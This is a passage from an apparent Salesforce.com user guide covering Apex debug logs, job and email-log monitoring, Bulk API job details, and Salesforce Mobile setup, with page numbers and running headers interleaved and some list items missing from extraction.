13:17:06.085|DML_BEGIN|[13,1]|Op:Insert|Type:Merchandise__c|Rows:2
13:17:06.115|DML_END|[13,1]|
13:17:06.117|DML_BEGIN|[21,1]|Op:Insert|Type:Line_Item__c|Rows:2
13:17:06.331|DML_END|[21,1]|
13:17:06.332|DML_BEGIN|[26,1]|Op:Update|Type:Merchandise__c|Rows:2
13:17:06.371|CODE_UNIT_STARTED|[EXTERNAL]HandleProductPriceChange on Merchandise
trigger event AfterUpdate for a00D0000008dfOw, a00D0000008dfOx
13:17:06.382|SOQL_EXECUTE_BEGIN|[3,1]|Aggregations:0|
SELECT j.Price__c, j.Merchandise__r.price__c
FROM Line_Item__c j
WHERE j.Invoice_Statement__r.Status__c = 'Negotiating'
AND j.Merchandise__r.id IN :Trigger.new
FOR UPDATE
13:17:06.450|SOQL_EXECUTE_END|[3,1]|Rows:2|Duration:68
13:17:06.452|DML_BEGIN|[14,1]|Op:Update|Type:Line_Item__c|Rows:2
13:17:06.470|DML_END|[14,1]|
13:17:06.471|CUMULATIVE_LIMIT_USAGE
13:17:06.471|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 0 out of 100
Number of query rows: 0 out of 500
Number of SOSL queries: 0 out of 20
Number of DML statements: 4 out of 100
Number of DML rows: 7 out of 500
Number of script statements: 10 out of 200000
Maximum heap size: 0 out of 1000000
712
Monitoring Monitoring Debug Logs
13:17:06.471|TESTING_LIMITS
13:17:06.471|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 1 out of 20
Number of query rows: 2 out of 2000
Number of SOSL queries: 0 out of 0
Number of DML statements: 1 out of 20
Number of DML rows: 2 out of 200
Number of script statements: 4 out of 10400
Maximum heap size: 0 out of 200000
Number of callouts: 0 out of 10
Number of Email Invocations: 0 out of 10
Number of fields describes: 0 out of 10
Number of record type describes: 0 out of 10
Number of child relationships describes: 0 out of 10
Number of picklist describes: 0 out of 10
Number of future calls: 0 out of 10
Number of find similar calls: 0 out of 0
Number of System.runAs() invocations: 0 out of 20
13:17:06.471|TOTAL_EMAIL_RECIPIENTS_QUEUED|0
13:17:06.471|STATIC_VARIABLE_LIST
HandleProductPriceChange:openLineItems:400
13:17:06.471|CUMULATIVE_LIMIT_USAGE_END
13:17:06.472|CODE_UNIT_FINISHED
13:17:06.473|DML_END|[26,1]|
13:17:06.473|SOQL_EXECUTE_BEGIN|[29,1]|Aggregations:0|
SELECT id, Price__c FROM Line_Item__c WHERE id IN :lineItems
13:17:06.481|SOQL_EXECUTE_END|[29,1]|Rows:2|Duration:8
13:17:06.482|CUMULATIVE_LIMIT_USAGE
13:17:06.482|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 1 out of 100
Number of query rows: 2 out of 500
Number of SOSL queries: 0 out of 20
Number of DML statements: 4 out of 100
Number of DML rows: 7 out of 500
Number of script statements: 13 out of 200000
Maximum heap size: 0 out of 1000000
Number of callouts: 0 out of 10
Number of Email Invocations: 0 out of 10
Number of fields describes: 0 out of 10
Number of record type describes: 0 out of 10
Number of child relationships describes: 0 out of 10
Number of picklist describes: 0 out of 10
Number of future calls: 0 out of 10
Number of find similar calls: 0 out of 10
Number of System.runAs() invocations: 0 out of 20
13:17:06.482|TESTING_LIMITS
13:17:06.482|LIMIT_USAGE_FOR_NS|(default)|
Number of SOQL queries: 1 out of 20
Number of query rows: 2 out of 2000
Number of SOSL queries: 0 out of 0
Number of DML statements: 1 out of 20
Number of DML rows: 2 out of 200
Number of script statements: 5 out of 10400
713
Monitoring Monitoring Scheduled Jobs
13:17:06.482|TOTAL_EMAIL_RECIPIENTS_QUEUED|0
13:17:06.482|STACK_FRAME_VARIABLE_LIST
Frame0
13:17:06.482|CUMULATIVE_LIMIT_USAGE_END
13:17:06.482|CODE_UNIT_FINISHED
13:17:06.482|EXECUTION_FINISHED
13:17:06.497|CUMULATIVE_PROFILING_BEGIN
13:17:06.497|CUMULATIVE_PROFILING|SOQL operations|
Trigger.HandleProductPriceChange: line 3, column 1:
[SELECT j.Price__c, j.Merchandise__r.price__c
FROM Line_Item__c j
WHERE j.Invoice_Statement__r.Status__c = 'Negotiating'
AND j.Merchandise__r.id IN :Trigger.new
FOR UPDATE]: executed 1 time in 68 ms
See Also:
Setting Debug Log Filters
Monitoring Debug Logs
Setting Debug Log Filters
Developer's Guide: Force.com Apex Code Developer's Guide
The All Scheduled Jobs page lists all analytic snapshots, scheduled Apex jobs, and dashboards scheduled to refresh.
714
Monitoring Monitoring Background Jobs
Users with the “View Setup and Configuration” permission can view the All Scheduled Jobs page by clicking Setup ➤
Monitoring ➤ Scheduled Jobs.
From the All Scheduled Jobs page, users with the appropriate permissions can:
See Also:
What is an Analytic Snapshot?
Scheduling a Dashboard Refresh
The All Background Jobs page lists all sharing-rule-recalculation jobs scheduled to run or currently in progress. You can view
the details of the background job, such as:
You can only monitor background jobs on this page. To abort a job, contact salesforce.com.
715
Monitoring Apex Job Queue
The Apex job queue lists all Apex jobs that have been submitted for execution. Jobs that have completed execution are listed,
as well as those that are not yet finished, including:
• Apex methods with the future annotation that have not yet been executed. Such jobs are listed as Future in the Job Type
column, and do not have values in the Total Batches or Batches Processed columns.
• Scheduled Apex jobs that have not yet finished executing. Such jobs are listed as Scheduled Apex in the Job Type column,
and do not have values in the Total Batches or Batches Processed columns.
• Apex sharing recalculation batch jobs that have not yet finished execution. Such jobs are listed as Sharing Recalculation
in the Job Type column. The records in a sharing recalculation job are automatically split into batches. The Total Batches
column lists the total number of batches for the job. The Batches Processed column lists the number of batches that have
already been processed.
• Batch Apex jobs that have not yet finished execution. Such jobs are listed as Batch Apex in the Job Type column. The
records in a batch Apex job are automatically split into batches. The Total Batches column lists the total number of batches
for the job. The Batches Processed column lists the number of batches that have already been processed.
Note: Sharing recalculation batch jobs are currently available through a limited release program. For information on
enabling Apex sharing recalculation batch jobs for your organization, contact salesforce.com.
The Status column lists the current status of the job. The possible values are:
Status Description
Queued Job is awaiting execution
Processing Job is being processed
Aborted Job was aborted by a user
Completed Job completed with or without failures
Failed Job experienced a system failure
If one or more errors occur during batch processing, the Status Details column gives a short description of the first error. A
more detailed description of that error, along with any subsequent errors, is emailed to the user who started the running batch
class.
To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. This is especially useful if you want to view only future methods, or view only Apex batch jobs. To
edit or delete any view you created, select it from the View drop-down list and click Edit.
For any type of Apex job, you can click Abort Job in the Action column to stop all processing for that job.
Jobs related to the future annotation that have completed execution are removed from this list every seven days. Batch jobs
are not removed.
716
Monitoring What are Email Logs?
For more information about Apex, see the Force.com Apex Code Developer's Guide.
See Also:
Monitoring Scheduled Jobs
Force.com Apex Code Overview
Developer's Guide: Force.com Apex Code Developer's Guide
Email logs are CSV files that contain information about all email sent through Salesforce.com over the last 30 days. Logs
contain data such as:
• To request a new email log, click Request an Email Log. Due to the volume of email processed through Salesforce.com,
requests are queued in the order that they are received. Email logs should be available within 30 minutes of your request.
For more information, see Requesting an Email Log on page 718.
• The pending email log requests list provides the status on email log requests that have not yet completed. You can have a
maximum of three pending log requests at any time.
• The email log errors list provides descriptions for requests that failed.
Caution: You cannot resubmit a failed request if it requires data that has exceeded the 30 day limit, or if you
already have three pending requests.
• To download an email log, click Download (.zip). Email logs are CSV files contained within a compressed file. Logs
contribute to your overall file storage limits. For more information, see Monitoring Resources on page 595.
• To delete an email log, click Del.
For a summary of the information returned from an email log, see Viewing Email Logs on page 718.
717
Monitoring What are Email Logs?
4. Optionally, you can filter an email log to only include rows where a specific domain name or email address appears in a
field, such as Recipient or Message ID Header. To enter more than one filter term, separate each value with a comma.
If you leave this field blank, the log is not filtered and all email addresses are returned within the specified time range.
5. Enter the email addresses that you want to receive notification when the email log request is complete. Separate each email
address with a comma.
To clear a request and return to the email log overview page, click Cancel.
See Also:
Viewing Email Logs
The following table describes the format of the log file and lists examples of its fields:
718
Monitoring What are Email Logs?
719
Monitoring What are Email Logs?
720
Monitoring What are Email Logs?
721
Monitoring What are Email Logs?
722
Monitoring Monitoring Bulk Data Load Jobs
See Also:
What are Email Logs?
You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of
data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount
of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs.
Process a set of records by creating a job that contains one or more batches. The job specifies which object is being processed
(for example, Account, Opportunity) and what type of action is being used (insert, upsert, update, or delete). A batch is a set
of records sent to the server in an HTTP POST request. Each batch is processed independently by the server, not necessarily
in the order it is received.
To track the status of bulk data load jobs that are in progress or recently completed, click Setup ➤ Monitoring ➤ Bulk Data
Load Jobs.
The In Progress Jobs list contains the following columns, shown in alphabetical order:
Column Description
Job ID The unique, 15–character ID for this job.
723
Monitoring Monitoring Bulk Data Load Jobs
Column Description
Object The object type for the data being processed. All data in a job must be of a single object type.
Operation The processing operation for all the batches in the job. The valid values are:
• delete
• insert
• upsert
• update
• hardDelete
Progress The percentage of batches processed relative to the total number of batches submitted. Progress is not
shown when the job is open because the total number of batches in the job is not known until the job is
closed. Progress may not accurately reflect the number of records processed. Batches may not all contain
the same number of records and they may be processed at different speeds.
Records The number of records already processed. This number increases as more batches are processed.
Processed
Start Time The date and time when the job was submitted.
Status The current state of processing for the job. The valid values are:
• Open: The job has been created, and batches can be added to the job.
• Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
• Aborted: The job has been aborted.
• Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.
The Completed Jobs list contains the following columns, shown in alphabetical order. Completed jobs are removed from the
list seven days after completion.
Column Description
End Time The date and time when the job completed.
Job ID The unique, 15–character ID for this job.
Object The object type for the data being processed. All data in a job must be of a single object type.
Operation The processing operation for all the batches in the job. The valid values are:
• delete
• insert
• upsert
• update
• hardDelete
Records The number of records already processed. This number increases as more batches are processed.
Processed
724
Monitoring Monitoring Bulk Data Load Jobs
Column Description
Start Time The date and time when the job was submitted.
Status The current state of processing for the job. The valid values are:
• Open: The job has been created, and batches can be added to the job.
• Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
• Aborted: The job has been aborted.
• Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.
See Also:
Viewing Bulk Data Load Job Details
Developer's Guide: Force.com Bulk API Developer's Guide
You can create update, or delete a large volume of records with the Bulk API, which is optimized for processing large sets of
data. It makes it simple to load, update, or delete data from a few thousand to millions of records. Processing a large amount
of records takes some time. This page allows you to monitor the progress of current jobs and the results of recent jobs.
To view the details of a bulk data load job:
The job detail page contains the following fields, shown in alphabetical order:
Field Description
Apex The number of milliseconds taken to process triggers and other processes related to the job data. This is
Processing the sum of the equivalent times in all batches in the job. This doesn't include the time used for processing
Time (ms) asynchronous and batch Apex operations. If there are no triggers, the value is 0.
725
Monitoring Monitoring Bulk Data Load Jobs
Field Description
API Active The number of milliseconds taken to actively process the job and includes the time tracked in the Apex
Processing Processing Time (ms) field, but doesn't include the time the job waited in the queue to be processed
Time (ms) or the time required for serialization and deserialization. This is the sum of the equivalent times in all
batches in the job.
API Version The API version for the job.
Completed The number of batches that have been completed for this job.
Batches
Concurrency The concurrency mode for processing batches. The valid values are:
Mode • parallel: Batches are processed in parallel mode. This is the default value.
• serial: Batches are processed in serial mode.
Content Type The content type for the job. The valid values are:
• CSV
• XML (default option)
End Time The date and time when the job completed.
External ID The name of the external ID field for an upsert operation.
Field
Failed The number of batches that have failed for this job.
Batches
Object The object type for the data being processed. All data in a job must be of a single object type.
Operation The processing operation for all the batches in the job. The valid values are:
• delete
• insert
• upsert
• update
• hardDelete
Progress The percentage of batches processed relative to the total number of batches submitted. Progress is not
shown when the job is open because the total number of batches in the job is not known until the job is
closed. Progress may not accurately reflect the number of records processed. Batches may not all contain
the same number of records and they may be processed at different speeds.
Queued The number of batches queued for this job.
Batches
Records The number of records that were not processed successfully in this job.
Failed
726
Monitoring Monitoring Bulk Data Load Jobs
Field Description
Records The number of records processed at the time the request was sent. This number increases as more batches
Processed are processed.
Retries The number of times that Salesforce.com attempted to save the results of an operation. The repeated
attempts are due to a problem, such as a lock contention.
Start Time The date and time when the job was submitted.
Status The current state of processing for the job. The valid values are:
• Open: The job has been created, and batches can be added to the job.
• Closed: No new batches can be added to this job. Batches associated with the job may be processed
after a job is closed. You cannot edit or save a closed job.
• Aborted: The job has been aborted.
• Failed: The job has failed. Batches that were successfully processed in the job cannot be rolled back.
Total The number of milliseconds taken to process the job. This is the sum of the total processing times for all
Processing batches in the job.
Time (ms)
The job detail page includes a related list of all the batches for the job. The related list provides View Request and View
Response links for each batch. If the batch is a CSV file, the links return the request or response in CSV format. If the batch
is an XML file, the links return the request or response in XML format. These links are available for batches created in API
version 19.0 and later.
The batch related list contains the following fields, shown in alphabetical order:
Field Description
Apex The number of milliseconds taken to process triggers and other processes related to the batch data. If
Processing there are no triggers, the value is 0. This doesn't include the time used for processing asynchronous and
Time (ms) batch Apex operations.
API Active The number of milliseconds taken to actively process the batch, and includes Apex processing time. This
Processing doesn't include the time the batch waited in the queue to be processed or the time required for serialization
Time (ms) and deserialization.
Batch ID The ID of the batch. May be globally unique, but does not have to be.
End Time The date and time in the UTC time zone that processing ended. This is only valid when the state is
Completed.
Records The number of records that were not processed successfully in this batch.
Failed
Records The number of records processed in this batch at the time the request was sent. This number increases as
Processed more batches are processed.
727
Monitoring Monitoring Automated Process Actions
Field Description
Retry Count The number of times that Salesforce.com attempted to save the results of an operation. The repeated
attempts are due to a problem, such as lock contention or a batch taking too long to process.
Start Time The date and time in the UTC time zone when the batch was created. This is not the time processing
began, but the time the batch was added to the job.
State Contains the reasons for failure if the batch didn't complete successfully.
Message
Total The number of milliseconds taken to process the batch. This excludes the time the batch waited in the
Processing queue to be processed.
Time (ms)
See Also:
Monitoring Bulk Data Load Jobs
Developer's Guide: Force.com Bulk API Developer's Guide
Salesforce Knowledge users can schedule articles to be published or archived on a specific date. Use the automated-process
actions queue to view these pending actions and cancel them if necessary.
To view pending actions:
728
Monitoring Monitoring Automated Process Actions
Object
The object that triggered the pending action. This value is always “Knowledge Article.”
Scheduled Date
The date the pending actions are scheduled to occur.
Create Date
The date the article that triggered the pending action was created.
Created By
The user who created the article that triggered the pending action.
Record Name
The name of the article that triggered the pending action.
The filter is not case-sensitive. For more information on filters, see Entering Filter Criteria on page 2163.
1. Select the box next to the pending actions you want to cancel. Optionally, check the box in the column header to select all
currently displayed items.
2. Click Delete. Salesforce.com cancels the pending action.
See Also:
What is Salesforce Knowledge?
Useful Salesforce Knowledge Terminology
Publishing Articles
729
Salesforce Mobile Salesforce Mobile Overview
SALESFORCE MOBILE
Use Salesforce Mobile to help your mobile teams succeed by keeping them in touch with the latest data, whenever and wherever
they need it, directly from mobile devices such as a BlackBerry®, Treo™, iPhone™, or Windows Mobile®. With Salesforce
Mobile, field professionals are prompted to log information directly in Salesforce.com or Force.com AppExchange apps
immediately after important customer calls, emails, and appointments, so critical information is logged in near real time.
Salesforce Mobile is a Salesforce.com feature that enables users to access their Salesforce.com data from mobile devices running
the mobile client application. The Salesforce Mobile client application exchanges data with Salesforce.com over wireless carrier
networks, and stores a local copy of the user’s data in its own database on the mobile device. Users can edit local copies of their
Salesforce.com records when a wireless connection is unavailable, and transmit those changes when a wireless connection
becomes available.
To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are
sets of parameters that determine the data Salesforce.com transmits to users' mobile devices, and which users receive that data
on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different
types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while
another mobile configuration sends cases to customer support representatives.
After you add users to a mobile configuration, send them a mass email with a link to install the correct mobile client application
on their mobile devices. After installing the client application, users can use the client interface to easily register their devices
with Salesforce.com. Administrators can view information about registered devices and manage mobile users.
A separate Salesforce Mobile license is required for each user who uses a mobile device to access Salesforce.com. For organizations
using Unlimited and Developer Editions, salesforce.com provides one mobile license for each Salesforce.com license.
Organizations using Professional or Enterprise Editions must purchase mobile licenses separately. To allocate Salesforce
Mobile licenses to users within your organization, select the Mobile User checkbox when editing a user's personal information.
For Professional, Enterprise, Unlimited, or Developer Edition users without mobile licenses, Salesforce.com offers Mobile
Lite, a free, restricted version of Salesforce Mobile.
Note: The iPhone and BlackBerry mobile client applications are available in English, Japanese, French, German, and
Spanish. The Windows Mobile client application is available in English and Japanese. Contact salesforce.com to
enable Salesforce Mobile for your organization.
730
Salesforce Mobile Mobile Lite Overview
Mobile Lite is a free, restricted version of Salesforce Mobile that is available to any Salesforce.com user who doesn't have a
mobile license.
Mobile Lite users can view, create, edit, and delete accounts, assets, contacts, leads, opportunities, events, tasks, cases, and
solutions. They also have access to their dashboards and Salesforce Chatter feeds.
You can enable Mobile Lite for your organization by editing your mobile settings. The mobile settings also let you control
whether Mobile Lite users have access to all available CRM tabs, or just to dashboards and Chatter.
Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent
users from accessing Salesforce.com from a mobile device.
Mobile Lite doesn't include all of the functionality offered in Salesforce Mobile. Mobile Lite:
Mobile Lite users are automatically assigned to the default mobile configuration when they activate their Salesforce.com
account from a supported mobile device. Mobile configurations determine the data sent to each mobile user. Administrators
can't view or edit the default mobile configuration.
Note: Mobile Lite is not supported for partner portal users.
See Also:
Salesforce Mobile Overview
Managing Mobile Devices
Overview of Salesforce Chatter for Mobile
The mobile application can run on BlackBerry, iPhone, and Windows Mobile operating systems, and it's supported by virtually
all wireless carriers—if the device can establish a data connection to the Internet, it can typically run the mobile application.
Recently-released mobile devices may not be immediately supported because every device goes through the official certification
and quality assurance process. For the most current information on supported devices, contact salesforce.com. Below is a list
of supported devices per platform. Verify that your device is supported before installing the mobile application.
BlackBerry Smartphones
The mobile application can run on BlackBerry operating system versions 4.3 through 5.0. Upgrading to the latest version of
the BlackBerry operating system can improve device performance. At a minimum, 2 to 3 MB of free memory should be
available on the device. The mobile client application is supported on these BlackBerry smartphones:
• BlackBerry 8100 Series (Pearl)
• BlackBerry 8300 Series (Curve)
731
Salesforce Mobile Mobile Lite Overview
iPhones
The mobile application requires the latest iPhone operating system available on iTunes. If the App Store icon is available on
the home screen, you can use the mobile application on your device. Be sure your device has at least 10 MB of available memory
before installing the mobile client application. The mobile application is supported on these devices:
• iPhone
• iPhone 3G
• iPod Touch
Note: Use of the Salesforce Mobile for iPhone product is subject to certain limitations:
• Third parties (including, but not limited to, Apple Inc. and your network connectivity provider) may at any time
restrict, interrupt or prevent use of Salesforce Mobile for the iPhone and iPod touch devices, or delete the Salesforce
Mobile software from iPhone or iPod touch devices, or require salesforce.com to do any of the foregoing, without
entitling the customer to any refund, credit or other compensation from such third party or salesforce.com.
732
Salesforce Mobile Mobile Lite Overview
• Service level agreements do not apply to the Salesforce Mobile for iPhone product. Additional limitations are
described in the Order Form Supplement for Salesforce Mobile for iPhone, which users are required to accept
upon download or installation of the Salesforce Mobile for iPhone product.
Users can access their Salesforce.com data from an iPhone, BlackBerry, or Windows Mobile device in a mobile client application.
There are two versions of the mobile application:
• Salesforce Mobile: Salesforce Mobile lets mobile users access data for custom objects and some standard objects.
Administrators can create mobile configurations that determine which records, fields, objects, and tabs are available in the
mobile application.
• Mobile Lite: Mobile Lite is the free version of the mobile product, and it doesn't include all of the functionality offered
in Salesforce Mobile. Mobile Lite supports fewer standard objects, doesn't provide support for custom objects, and doesn't
allow administrators to customize or create mobile configurations.
For organizations using Unlimited and Developer Editions, Salesforce.com provides one mobile license for each Salesforce.com
license. You can allocate mobile licenses using the Mobile User checkbox on the user's record. The Mobile User checkbox
is enabled by default for Unlimited and Developer Edition users. To prevent users from activating Salesforce Mobile on their
mobile devices before you are ready to deploy mobile in your organization, disable the checkbox for all your users.
Mobile Lite users don't need a mobile license to use the product; they can download Mobile Lite for free and activate their
Salesforce.com account. Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable
Mobile Lite to prevent users from accessing Salesforce.com from a mobile device.
To disable Mobile Lite:
See Also:
Salesforce Mobile Overview
Mobile Lite Overview
733
Salesforce Mobile Installing the Mobile Application
You can install the mobile application on any supported BlackBerry smartphone, Windows Mobile device, or iPhone.
See Also:
Salesforce Mobile Overview
BlackBerry Installation
There are two ways to install Salesforce Mobile on a BlackBerry smartphone. You can download the application from either
the Web or BlackBerry App World. To install the mobile client application on a BlackBerry smartphone from the Web:
1. Open your Web browser and navigate to the following URL: mobile.salesforce.com. If you received a Salesforce
Mobile email message from your Salesforce.com administrator, you can also click the download link in the message.
2. Highlight the Download the application link and select Get Link from the menu.
3. Click Download to download the application. If prompted to replace an older version of the client application, click Yes.
Note: The minimum BlackBerry operating system requirement for the mobile application is 4.3. If you're running
versions 4.0–4.3 of the operating system, you can still download and install the mobile application; however, the
mobile server will detect the older operating system and send version 11.6 of the mobile application, which was
the last release that supported operating system versions 4.0–4.3. You can't use any of the new features included
in the current release or future releases until you upgrade to the most recent BlackBerry operating system for your
phone.
To install the mobile client application on a BlackBerry smartphone from BlackBerry App World:
734
Salesforce Mobile Installing the Mobile Application
1. Open your Web browser and navigate to the following URL: mobile.salesforce.com. If you received a Salesforce
Mobile email message from your Salesforce.com administrator, you can also click the download link in the message.
Note: The installation process for Windows Mobile requires that you use Internet Explorer as the browser.
735
Salesforce Mobile Installing the Mobile Application
3. Return to the phone's home page. From the Start menu, select Salesforce Mobile from the list of installed programs.
4. Read the license agreement and select I Accept.
5. Enter your Salesforce.com username and password.
6. Select Activate to verify your Salesforce.com account and activate the mobile application on the device.
After your username and password are confirmed by Salesforce.com, the data downloads, and the icon pulses to show
activity. The initial data download may last a few minutes. Future updates to the data occur automatically.
7. After your records have been downloaded to the device, the login screen appears. The mobile application remembers your
username and only prompts you for your password. Enter your password, and select Login.
iPhone Installation
To install the mobile client application on an iPhone or iPod touch:
1. From the Home screen of your iPhone or iPod touch, tap the App Store icon.
2. Tap Search.
3. Tap the Search field to open the keyboard. Type salesforce.
4. Tap Salesforce Mobile in the list of search results.
5. Tap Salesforce Mobile to view information about the application.
6. Tap Free, and then tap Install.
Note: It does not cost money to download the application from the App Store. Enterprise, Professional, Unlimited,
and Developer Edition users with mobile licenses can run Salesforce Mobile, the full version of the mobile
application. Users without a mobile license can run Mobile Lite, the free, restricted version of the mobile application.
7. Enter your iTunes Store account and password and tap OK.
After you begin downloading the mobile application, its icon appears on your Home screen and shows the status of the
download and installation.
8. The first time you launch the mobile application on your device, you must activate your Salesforce.com account by logging
in and downloading data. Verify that your phone is connected to a network. For greater performance and reliability, use
a Wi-Fi network instead of a cellular network when activating the mobile application.
9. Tap the Salesforce.com icon on the Home screen.
10. Tap I Accept.
11. On the activation screen, enter your Salesforce.com username and password. Tap Done to close the keyboard.
12. Tap Activate.
Caution: Do not close the window or let the device lock. If the application closes, the iPhone operating system
stops the application from running, which causes the activation to fail.
13. The application opens after Salesforce.com accepts your username and password and downloads your records.
736
Salesforce Mobile Managing Mobile Configurations
Salesforce.com that are not available locally on your device. Before you activate the mobile application with the default
configuration:
• Review your personal setup to find out if your user account has been assigned a mobile license. If the Mobile User checkbox
is selected but the Mobile Configuration field is blank, you can activate Salesforce Mobile using the default mobile
configuration.
• Verify that your device is supported and can run the mobile client application.
• Install the client application.
To deploy Salesforce Mobile to your organization, first create one or more mobile configurations. Mobile configurations are
sets of parameters that determine the data Salesforce.com transmits to users' mobile devices, and which users receive that data
on their mobile devices. Organizations can create multiple mobile configurations to simultaneously suit the needs of different
types of mobile users. For example, one mobile configuration might send leads and opportunities to the sales division, while
another mobile configuration sends cases to customer support representatives.
Administrators should note that a default mobile configuration is provided for Professional, Enterprise, Unlimited, and
Developer Edition organizations. Administrators cannot view or edit the default configuration.
To manage your Salesforce Mobile configurations, click Setup ➤ Mobile Administration ➤ Mobile Configurations.
737
Salesforce Mobile Managing Mobile Configurations
Note: After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining
how to register their mobile devices. The registration process creates device records in Salesforce.com, which allows
you to manage your organization's mobile devices.
See Also:
Salesforce Mobile Overview
Sample Data Sets
Salesforce Mobile Implementation Guide
Creating Mobile Links
Sending Emails to Mobile Users
Managing Mobile Devices
Viewing Mobile Device Information
Setting Mobile Session Timeout Values
Erasing Mobile Data
Implementation Tips
Building Lean Data Sets
• Keep the data sets in your mobile configurations as small as possible. Not only do lean data sets greatly improve the
application's performance, but they also make the application easier to use—pushing massive amounts of data to the device
might seem like a good idea, but the important records tend to get lost among the ones that aren't relevant to users'
day-to-day activities. Small data sets are powerful because the mobile application synchronizes with Salesforce.com every
20 minutes, so the data is constantly refreshed with new and updated records. Even if your mobile configurations don't
account for every possible record your users might need, they can search for records that aren't automatically synchronized
to their devices.
To build small data sets:
- Nest the objects in the data set tree. For example, add contacts as a child data set of the account object so that the data
set includes contacts related to the mobilized accounts instead of all the user's contacts.
- Avoid setting the record ownership filter to All Records unless your organization uses a private sharing model. It's
unlikely that users need to see all of an object's records on their devices. Instead of mobilizing all opportunity records,
for example, mobilize just the opportunities owned by the user or the user's sales team.
- Use filters that synchronize the most relevant records. For example, even if you limit the opportunities on the device
to records owned by the user, you could further prune the data set by mobilizing only opportunities closing this month.
- Set a record limit to prevent the data set from getting too large. Generally, a single data set should generate no more
than 2,500 records.
• Another way to build lean data sets is to mobilize the Salesforce.com recent items list, add the data sets, and set the record
ownership filters in your data sets to None (Search Only). The user's data set is populated with records recently accessed
in Salesforce.com, and those records in turn synchronize additional data based on the data set hierarchy. For example, let's
say you create a data set with the account object at the root level and add the contact, task, and event objects as child data
sets. When the mobile application synchronizes an account from the Salesforce.com recent items list, it also synchronizes
the contacts, tasks, and events related to that account.
• If you're not sure which fields to use as filters for your data sets or mobile views, consider using the Last Activity Date
field. For example, set up a filter that synchronizes contacts with an activity logged this week or this month. The Last
738
Salesforce Mobile Managing Mobile Configurations
Activity Date field is a better indicator of a record's relevance than the Last Modified Date field—often the main detail
of a record remains unchanged even though users frequently log related tasks and events.
739
Salesforce Mobile Managing Mobile Configurations
Best Practices
• Use the zero-administration deployment option to experiment with the mobile application before you set up mobile
configurations. You'll create better blueprints for your mobile configurations if you've tried using the mobile application.
• Talk to users about their favorite reports, views, and dashboards to get ideas for what filter criteria to use in mobile
configurations.
• After setting up mobile configurations, deploy the mobile application on a limited basis with a select group of users. Adjust
the mobile setup based on their feedback, then deploy to all of your users.
Mobile configurations are sets of parameters that determine the data Salesforce.com transmits to users' mobile devices and
which users receive that data on their mobile devices. A default mobile configuration is provided for Professional, Enterprise,
Unlimited, and Developer Edition organizations. Administrators cannot view or edit the default mobile configuration.
The default mobile configuration serves two purposes:
• It allows users with an assigned mobile license to install and activate Salesforce Mobile, even if their administrators have
not yet assigned them to a mobile configuration.
740
Salesforce Mobile Creating Mobile Configurations
Caution: To prevent users from activating Salesforce.com on their mobile devices before you are ready to deploy
mobile in your organization, remove the mobile license from your user accounts by editing the user records and
deselecting the Mobile User checkbox.
• It allows users without an assigned mobile license to install and activate Mobile Lite, which is the free version of Salesforce
Mobile. To prevent users from activating Mobile Lite on their mobile devices, disable Mobile Lite for your organization
by editing your mobile settings.
• Accounts
• Assets
• Cases
• Contacts
• Dashboards
• Events
• Leads
• Opportunities
• Reports
• Salesforce Chatter Feeds
• Solutions
• Tasks
The default configuration automatically synchronizes records the user recently accessed in Salesforce.com. Users can search
for records that are not automatically synchronized; once the user downloads a record, the record becomes a permanent part
of the data set. In addition to recently accessed records, the default configuration synchronizes activities closed in the past five
days and open activities due in the next 30 days.
Note:
• Assets are not available as a tab in the mobile application. Assets display as a related list for accounts, cases, and
contacts.
• Dashboards are not available in the Windows Mobile client application.
741
Salesforce Mobile Creating Mobile Configurations
Note: If your organization enabled Mobile Lite, you don't need to create any mobile configurations. Mobile Lite
users are assigned to a default mobile configuration when they activate their Salesforce.com account from a mobile
device. You can't view or edit the default mobile configuration.
For each custom profile to which mobile users are assigned, edit the profile to include the API Enabled permission. Mobile
users need access to the API so that their wireless devices can communicate with Salesforce.com. The API Enabled permission
is enabled by default on standard profiles.
742
Salesforce Mobile Creating Mobile Configurations
Selecting this option ensures that mobile users assigned to the configuration will not have to search for and download items
they recently accessed on the Salesforce.com website, even if those records do not meet the configuration's filter criteria.
Only records belonging to mobilized objects can be marked for device synchronization; for example, if you do not mobilize
the account object in a configuration, users assigned to that configuration cannot automatically receive recent accounts on
their devices.
7. If you select the Mobilize Recent Items checkbox, select a value from the Maximum Number of Recent Items
drop-down list. Set a low number if your users have minimal free space on their mobile devices.
743
Salesforce Mobile Defining Data Sets
After creating mobile configurations and defining the data sets, send a mass email to mobile users explaining how to register
their mobile devices. The registration process creates device records in Salesforce.com, which allows you to manage your
organization's mobile devices.
See Also:
Salesforce Mobile Overview
Managing Mobile Configurations
Sending Emails to Mobile Users
Managing Mobile Devices
Accessing Salesforce.com from a mobile device is very different than accessing it from your computer. This is because mobile
devices generally have less memory and screen size than computers, and they do not maintain a constant network connection.
To work with these limitations, each Salesforce.com mobile configuration only transfers data sets, which are subsets of the
records users access in the Salesforce.com online user interface. Mobile devices store data sets in on-board databases, allowing
users to access their most important records and work offline when no network connection is available. Salesforce.com
automatically synchronizes the on-board databases when the mobile device reestablishes a network connection.
Each data set can contain records related to a single object and is classified by the name of that object. For example, the
Accounts data set only includes account records.
Data sets can have child data sets, which are data sets that contain records associated with a top-level (parent) data set. For
example, if the first level of your hierarchy has an Accounts data set, you can add a Contacts child data set that includes all
contact records related to the account records. Child data sets appear as related lists on mobile devices.
A single mobile configuration can have multiple data sets for the same object and at different levels. For example, you can
have an Events parent data set and an Events child data set under Leads.
Tip: Review the sample data sets to see how you might define data sets for common groups of Salesforce.com users.
